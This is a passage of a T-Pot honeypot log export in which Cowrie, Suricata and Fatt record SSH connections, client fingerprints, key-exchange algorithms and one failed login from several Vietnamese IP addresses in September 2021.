"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36750, "dest_port": 22, "timestamp": "2021-09-20T11:14:48.274924", "@timestamp": "2021-09-20T11:14:48.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27485	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:48.153372+03	2021-09-20 14:15:14.646644+03	{"_id": "NQbqAnwBvYTbRNuEZyiG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "f827a6411d69", "@version": "1", "duration": 6.8817524909973145, "timestamp": "2021-09-20T11:14:48.153372Z", "@timestamp": "2021-09-20T11:14:48.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27486	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:48.013945+03	2021-09-20 14:15:14.648674+03	{"_id": "OAbqAnwBvYTbRNuEZyiH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d64d18a0926f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:48.013945Z", "@timestamp": "2021-09-20T11:14:48.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27752	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:24.057608+03	2021-09-20 14:30:01.876524+03	{"_id": "FgbqAnwBvYTbRNuE9CpL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e191ca5f9727", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:24.057608Z", "@timestamp": "2021-09-20T11:15:24.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27487	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:48.522026+03	2021-09-20 14:15:14.649646+03	{"_id": "OQbqAnwBvYTbRNuEZyiH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "13955cabdae7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:48.522026Z", "@timestamp": "2021-09-20T11:14:48.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27488	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:48.275597+03	2021-09-20 14:15:14.651677+03	{"_id": "PwbqAnwBvYTbRNuEZyiI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d64d18a0926f", "@version": "1", "timestamp": "2021-09-20T11:14:48.275597Z", "@timestamp": "2021-09-20T11:14:48.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27489	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:14:48.270524+03	2021-09-20 14:15:14.652681+03	{"_id": "QAbqAnwBvYTbRNuEaSh2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1896062388796474, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36750, "dest_port": 22, "timestamp": "2021-09-20T11:14:48.270524Z", "@timestamp": "2021-09-20T11:14:48.270Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27490	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:48.524127+03	2021-09-20 14:15:14.654674+03	{"_id": "QgbqAnwBvYTbRNuEaiiu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36500, "timestamp": "2021-09-20T11:14:48.524127", "@timestamp": "2021-09-20T11:14:48.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27511	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:42.348619+03	2021-09-20 14:15:14.681646+03	{"_id": "GQbqAnwBvYTbRNuEUCgR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [a1/a1] failed", "session": "bd5ad0d783e1", "@version": "1", "password": "a1", "username": "a1", "timestamp": "2021-09-20T11:14:42.348619Z", "@timestamp": "2021-09-20T11:14:42.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27491	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:40.67194+03	2021-09-20 14:15:14.655675+03	{"_id": "AwbqAnwBvYTbRNuESyhq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37746, "timestamp": "2021-09-20T11:14:40.671940", "@timestamp": "2021-09-20T11:14:40.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27492	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:41.272712+03	2021-09-20 14:15:14.656671+03	{"_id": "BAbqAnwBvYTbRNuESyhq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36108, "timestamp": "2021-09-20T11:14:41.272712", "@timestamp": "2021-09-20T11:14:41.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27493	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:40.881423+03	2021-09-20 14:15:14.658676+03	{"_id": "BQbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54508 (192.168.176.2:22) [session: ea5f9ecee006]", "session": "ea5f9ecee006", "@version": "1", "protocol": "ssh", "src_port": 54508, "dest_port": 22, "timestamp": "2021-09-20T11:14:40.881423Z", "@timestamp": "2021-09-20T11:14:40.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27494	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:41.270617+03	2021-09-20 14:15:14.659674+03	{"_id": "BgbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:36108 (192.168.176.2:22) [session: f827a6411d69]", "session": "f827a6411d69", "@version": "1", "protocol": "ssh", "src_port": 36108, "dest_port": 22, "timestamp": "2021-09-20T11:14:41.270617Z", "@timestamp": "2021-09-20T11:14:41.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27495	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:40.967766+03	2021-09-20 14:15:14.661675+03	{"_id": "DwbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ea5f9ecee006", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:40.967766Z", "@timestamp": "2021-09-20T11:14:40.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27496	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:40.993177+03	2021-09-20 14:15:14.662675+03	{"_id": "EAbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bd5ad0d783e1", "@version": "1", "timestamp": "2021-09-20T11:14:40.993177Z", "@timestamp": "2021-09-20T11:14:40.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
